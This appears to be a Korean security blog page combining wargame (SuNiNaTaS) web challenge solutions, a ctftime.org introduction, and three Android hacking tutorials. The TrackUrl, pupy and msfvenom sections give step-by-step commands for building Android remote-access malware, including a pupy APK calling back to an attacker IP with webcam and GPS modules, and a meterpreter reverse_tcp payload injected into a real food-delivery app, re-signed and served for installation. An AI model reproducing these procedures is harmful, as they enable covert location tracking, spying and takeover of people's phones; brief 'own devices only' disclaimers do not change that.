반응형
반응형
반응형

SuNiNaTaS의 2번문제 풀이입니다. 


[WEB]




그냥 로그인창이 하나 떠있습니다...


일단 페이지 소스를 확인해 봅시다....앗 프레임 소스 보기를 해야 맞는 코드가 뜹니다.



개발자도구 F12로 보는건 너무 뭐가 많아서

페이지 우클릭후 프레임 소스보기를 하셔야 편합니다.



소스 하단을 보시면, 자바스크립트 코드와 함께 힌트가 있습니다.


<script>

function chk_form(){

var id = document.web02.id.value ;

var pw = document.web02.pw.value ;

if ( id == pw )

{

alert("You can't join! Try again");

document.web02.id.focus();

document.web02.id.value = "";

document.web02.pw.value = "";

}

else

{

document.web02.submit();

}

}

</script>

<!-- Hint : Join / id = pw -->

<!-- M@de by 2theT0P -->



JS코드에서는 id와 pw가 같으면 안된다고 하고 있고, 힌트에서는 id와 pw가 같아야 한다고 하고 있습니다.


이는 자바스크립트 코드를 우회해 주면 되는데, 여러가지 방법이 있겠지만.. 저는 크롬 개발자 도구중 콘솔기능을 이용하겠습니다.


위 chk_form()함수를 아래와같이 재정의 했습니다.



function chk_form(){

var id = document.web02.id.value ;

var pw = document.web02.pw.value ;

        document.web02.submit();

}



이 코드를 콘솔에 입력해주었습니다.



그 다음 id와 pw에 같은 값을 넣어주면 authkey를 얻을 수 있습니다.

반응형

'WAR GAME > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS [WEB 6번] 풀이  (0) 2018.07.31
SuNiNaTaS [WEB 5번] 풀이  (0) 2018.07.30
SuNiNaTaS [WEB 4번] 풀이  (0) 2018.07.30
SuNiNaTaS [WEB 3번] 풀이  (0) 2018.07.30
SuNiNaTaS [WEB 1번] 풀이  (0) 2018.07.30
반응형

SuNiNaTaS의 1번문제 풀이입니다. 


[WEB]




문자열을 입력받는 폼이 있고, 아래에 코드가 있습니다.


코드를 보면, 입력받은 문자열을 처리하는 코드인 것 같습니다.


마지막에 결과가 admin이 되어야 authkey를 얻을 수 있나 봅니다.




        result = Replace(str,"a","aad")
        result = Replace(result,"i","in")
        result1 = Mid(result,2,2)
        result2 = Mid(result,4,6)
        result = result1 & result2


이것이 이제 핵심적인 코드라고 할 수 있는데요.


사용된 함수는 Replace()와 Mid() 두개 뿐입니다.


Replace(str, "a", "b")함수는 str의 "a"를 "b"로 치환해 주며, Mid(str, 1, 2)함수는 str의 1번째부터 2개의 문자를 가져옵니다.


.

.

.

그럼 이제 직접 풀어보세요!

.

.

.


.

.

.




위에서부터 하나씩 보면, a를 aad로 바꾸고, i를 in으로 바꾼 문자열에서

2번째부터 2개를 result1에, 4번째부터 6개를 result2에 저장하고

result1+result2가 admin이 되면 됩니다.


그럼 result1이 ad 가 되고 result2가 min이 되어야 하네요.


a가 aad가 되고 거기서 두번째부터 두개를 가져오면 ad가 됩니다.



result2를 생각해보면, 4번째부터 6개를 가져온게 min이 되어야 하고

in은 i가 바뀐 것이니


답은 ami 이네요.




이 문제는 직접 생각하면서 푸는게 이해가 제일 빠를 것 같습니다.



반응형

'WAR GAME > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS [WEB 6번] 풀이  (0) 2018.07.31
SuNiNaTaS [WEB 5번] 풀이  (0) 2018.07.30
SuNiNaTaS [WEB 4번] 풀이  (0) 2018.07.30
SuNiNaTaS [WEB 3번] 풀이  (0) 2018.07.30
SuNiNaTaS [WEB 2번] 풀이  (0) 2018.07.30
반응형

해킹은 반드시 자신의 기기에만 해주세요.

그렇지 않을 경우 법적인 처벌을 받으실 수 있습니다.


Trackurl로 스마트폰 위치추적하기


해킹에 사용된 기기는 안드로이드 버전은 7.1.2의 샤오미 홍미 플러스입니다.

프로젝트에 사용된 PC의 운영체제는 kali linux 2018.1 입니다.


- 안드로이드 스마트폰 (gps되는 스마트폰이면 다 됩니다.)

- kali linux




1. trackurl을 다운로드 받습니다.


https://github.com/zanyarjamal/TrackUrl




git clone https://github.com/zanyarjamal/TrackUrl







2. Trackurl 폴더로 이동하여 Trackurl.sh파일의 내용을 약간 변경햐줍니다.


gedit Trackurl.sh





xterm -e ./ngrok http 80 & clear 를


gnome-terminal -e "./ngrok http 80" 으로 변경해 주었습니다.


이 외에도 이미지 경로를 수정하여 자신이 원하는 이미지로 변경해줄 수 있습니다.





3. Trackurl.sh를 실행합니다.


./Trackurl.sh


새로운 터미널 창이 하나 뜨게 되고 url이 표시됩니다.

https://로 시작하는 url을 원래 터미널 창에 입력해줍니다.






4. 스마트폰으로 해당 url에 접속합니다.

그러면 터미널에 로그가 남습니다.




빨간색으로 표시된 부분(일부 가렸습니다.)이 gps값입니다. 해당 값을 구글지도에 검색하면 해당 위치가 표시됨을 알 수 있습니다.




반응형
반응형

해킹은 반드시 자신의 기기에만 해주세요.

그렇지 않을 경우 법적인 처벌을 받으실 수 있습니다.


pupy로 안드로이드 해킹하기


해킹에 사용된 기기는 안드로이드 버전은 7.1.2의 샤오미 홍미 플러스입니다.

프로젝트에 사용된 PC의 운영체제는 kali linux 2018.1 입니다.


- 안드로이드 스마트폰

- kali linux


 


1. pupy를 다운로드 받고 설치합니다.

https://github.com/n1nj4sec/pupy



다음 명령어를 순서대로 입력했습니다.


git clone https://github.com/n1nj4sec/pupy.git pupy


cd pupy


git submodule init


git submodule update


pip install -r pupy/requirements.txt


wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz


tar xvf payload_templates.txz && mv payload_templates/* pupy/payload_templates/ && rm payload_templates.txz && rm -r payload_templates 







정상적으로 설치됨을 확인합니다.




2. pupysh를 실행해봅니다.


python pupysh.py





패스워드를 입력하는 부분에서는 칼리리눅스 계정 패스워드를 입력하면 됩니다.


정상적으로 서버가 동작함을 확인하고 exit명령어로 서버를 종료했습니다.

 


3. 이제 악성코드를 만들어봅시다.

 

악성코드는 pupygen.py로 만들 수 있습니다.


python pupygen.py -O android -o mandu.apk connect --host 192.168.0.7 --transport ssl


(저는 mandu.apk라는 이름으로 생성하였습니다.)


옵션 설명

-O 해킹할 운영체제

-o 출력할 파일명


connect

--host 칼리리눅스(공격자의 컴퓨터)의 아이피 (ifconfig 명령어로 자신의 아이피를 확인할 수 있습니다.)

--transport ssl (pupy.conf.default에 작성된 내용 그대로 입력하면 됩니다. ssl으로 기본설정 되어있습니다.)




4. 만들어진 악성코드 파일을 안드로이드 기기가 다운받을 수 있도록 아파치 서버에 업로드 하였습니다.



파일에 권한을 부여하고, 아파치 서버를 가동하였습니다.


mv mandu.apk /var/www/html/ #파일 이동


chmod 777 /var/www/html/mandu.apk #권한 부여


service apache2 start #아파치 서버 시작

 



5. 안드로이드 기기에서 해당 파일을 다운로드 받습니다.


http://192.168.0.7/mandu.apk

 

그리고 설치합니다.




6. 칼리리눅스 (공격자의 컴퓨터)에서 서버를 실행합니다.


python pupysh.py

 

서버가 대기상태가 됩니다.



7. 안드로이드 기기에서 해당 어플을 실행합니다.

안드로이드 기기에서는 와이파이 설정 화면으로 이동하게 됩니다.

10초후 공격자 컴퓨터의 pupysh.py에서는 하나의 세션이 잡히게 됩니다.




8. list_modules 라는 명령어를 통해 pupy에서 사용할 수 있는 모듈을 목록을 확인할 수 있습니다.

 

run gather/webcamsnap 명령어를 통해 카메라로 사진을 찍어 볼 수 있습니다

 

run gather/gpstracker --start 명령어를 통해 해당 기기의 gps값을 트래킹하고,(15초 마다 gps값을 가져옵니다.)

run gather/gpstracker --dump 명령어를 통해 가져온 gps값을 확인할 수 있습니다. (파일이 저장됩니다.)

얻은 gps값을 구글지도에 검색하면 실제 기기의 위치정보를 확인할 수 있습니다. 매우 정확합니다.

 

이 외에도 pupy는 다양하고 많은 모듈을 지원하므로 다른 정보들도 가져오는 것이 가능함을 알 수 있습니다.

반응형
반응형

해킹은 반드시 자신의 기기에만 해주세요.

그렇지 않을 경우 법적인 처벌을 받으실 수 있습니다.


안드로이드 어플리케이션 후킹하기

커버로스님의 영상 : https://www.youtube.com/watch?v=4YCwXZ1SVls&t=717s


해킹에 사용된 기기는 안드로이드 버전은 7.1.2의 샤오미 홍미 5 플러스입니다.

후킹할 어플리케이션으로 배달의 민족을 사용했습니다.

프로젝트에 사용된 PC의 운영체제는 kali linux 2018.1 입니다.


- 안드로이드 스마트폰

- 후킹할 어플

- kali linux



* 칼리 리눅스에 설치되어 있는 apktool 2.3.1는 어플을 빌드하는 과정중에 오류가 발생하므로,

https://bitbucket.org/iBotPeaches/apktool/downloads/ 에서 최신버전을 다운로드 받아 사용하였습니다. (2.3.3)



1.어플리케이션 다운로드 받기



https://apkpure.com/ 에서 후킹할 apk파일을 다운로드 받습니다. 저는 '배달의 민족' 어플리케이션을 사용하였습니다.


그 뒤 파일명을 baedal.apk로 바꾸었습니다.



2. msfvenom을 이용하여 악성코드 apk파일을 생성합니다.

저는 payload.apk로 만들었습니다.

lhostPCip주소를, lport로는 4444로 지정해주었습니다.


# msfvenom p android/meterpreter/reverse_tcp lhost=192.168.0.7 lport=4444 o payload.apk




3. payload.apk baedal.apk 모두 apktool를 이용하여 디패키징합니다.




4. payload/smali/com/에 있는 metasploit/baedal/smali/com/으로 복사합니다.




5. baedal/payload/에 있는 각각의 AndroidManifest.xml파일을 gedit을 통해 엽니다.


# gedit AndroidManifest.xml




6. payload의 권한과 기능을 baedal로 복사합니다.


payloadAndroidManifest.xml에 있는 모든 permissionfeature부분을 복사하여

baedalAndroidManifest.xml로 붙여넣기합니다.



^ payloadAndroidManifest.xml에 있는 모든 permissionfeature부분




^ baedalAndroidManifest.xml로 붙여넣기한 모습



7. 어플리케이션이 처음 실행될 때 시작되는 Activity 부분을 찾습니다.

launchermain은 항상 붙어다니기 때문에 launcher을 검색하여 main부분을 찾습니다.




^ category인 LAUNCHER 바로 위에 action인 MAIN이 보입니다.



main이 포함되어있는 activity가 앱이 처음 실행될 때 시작되는 activity입니다.

activity파일의 경로를 확인합니다.



com.baemin.presentation.ui.GateWayActivity



8. 위 경로를 따라 GateWayActivity파일을 찾아 엽니다.




onCreate 함수를 찾습니다.

어플리케이션이 처음 실행될 때 무엇인가가 생성되는 부분임을 알 수 있습니다.




metasploit/stage/ 에 있는 MainService.smali파일을 cat명령어로 출력한 뒤

출력된 문자열중 최하단에서 4번째줄의 명령어를 복사하여

invoke-super {p0, p1}, Landroid/support/v7/app/c;->onCreate...(생략) 부분 바로 아래에 붙여넣습니다.




이 것을 후킹이라고 합니다.



9. 이제 apktool을 사용하여 baedal/을 빌드(패키징)해줍니다. -o 옵션으로 baemin.apk라는 이름을 주었습니다.



빌드중 에러가 발생했습니다. 이정도 에러는 보고 수정해준뒤 다시 빌드하면 됩니다.

에러를 보니 keyboardNavigationCluster 를 찾을 수 없는 것 같은데, 그냥 지우고 다시 빌드합니다.




빌드에 성공했습니다.



빌드에 성공하여 baemin.apk파일을 확인할 수 있습니다.




10. baemin.apk에 서명을 합니다.

서명되지 않은 안드로이드 어플리케이션은 안드로이드 기기에 설치할 수 없으므로 서명을 꼭 해야합니다.


keytooljarsigner을 사용하여 baemin.apk 서명작업을 진행하였습니다.

그 전에 keytool이 정상적으로 동작할 수 있도록 home/.android파일을 생성해줍니다.


# cd ~

# mkdir .android

 

# keytool genkey v keystore ~/.android/debug.keystore storepass android alias androiddebugkey keypass android validity 9999

(옵션 validity 99999999일 동안 유효함을 의미합니다.)


# jarsigner verbose keystore ~/.android/debug.keystore storepass android keypass android sigalg SHA256withDSA baemin.apk androiddebugkey




11. 해킹될 기기에서 해당 어플리케이션을 다운로드 받습니다.


아파치 서버를 열고, 서버 경로에 baemin.apk를 옮겨둡니다.




안드로이드 기기에서 http://192.168.0.7/baemin.apk로 이동하여 파일을 다운로드 받습니다.



12. msfconsole 사용을 위해 handler.rc파일을 생성합니다.


# vi handler.rc




postgresql를 시작하고, msfconsole도 시작합니다.


# service postgresql start

# msfconsole r handler.rc



13. 안드로이드 기기에서 baedal.apk파일을 설치하고 실행합니다.




실행시, 정상적인 배달의 민족 어플리케이션으로 보이게 됩니다.

그러나 PC에서는 세션이 하나 잡히게 됩니다.



 

세션을 확인하고 연결합니다.



이제 해킹에 성공한 것입니다.

해당 기기의 정보를 확인할 수도 있으며(sysinfo), 스크린샷을 찍어 볼 수도 있습니다(screenshot).




반응형
반응형


안녕하세요, 오늘은 ctftime.org 라는 사이트에 대해서 소개해 드리겠습니다.



구글에 검색하거나 





주소창에 직접 주소를 입력하여 접속할 수 있습니다.


https://ctftime.org





메인화면




Team rating 

ctftime.org 의 팀 순위입니다. 현재 1위는 미국의 PPP팀 이네요.


Upcoming events

곧 열릴 대회들의 목록입니다.


Now running

현재 진행중인 대회들의 목록입니다. (제가 찍은 스샷에는 없지만 있을경우 우측 상단에 표시됩니다.)


Past events

과거 열렸던 대회들의 목록입니다.


New Writeups

최근 올라온 문제 풀이 목록입니다.





상단 탭




CTFs

대회들을 볼 수 있습니다.


Upcoming

곧 열릴 대회들의 목록을 볼 수 있습니다.


Archive

> Past events 과거 열렸던 대회들의 목록을 볼 수 있습니다.

> Tasks 대회 문제 목록을 확인 할 수 있습니다.

> Writups 문제풀이들을 확인 할 수 있습니다.


Calender

대회 일정을 달력의 형태로 볼 수 있습니다.


Teams

> Rating 팀 순위를 볼 수 있습니다.

> Compare 2개의 팀을 비교할 수 있습니다.

> Get a team 팀을 구할 수 있습니다.


FAQ

대표적인 질문과 답변을 확인할 수 있습니다. 예를 들면 'WTF 이 CTF인가요?' 가 있습니다.




Sign in 에서 로그인을 할 수 있으며 로그인은 구글/트위터/페이스북/깃허브 아이디로 가능합니다.


로그인을 하게 되면 타임존을 선택할 수 있게 되어, UTC로 보이던 시간을 KST로 볼 수 있습니다.





유명하고 좋은 사이트 입니다. 저는 매번 들어와서 대회 일정들을 확인하고 있네요.








반응형

+ Recent posts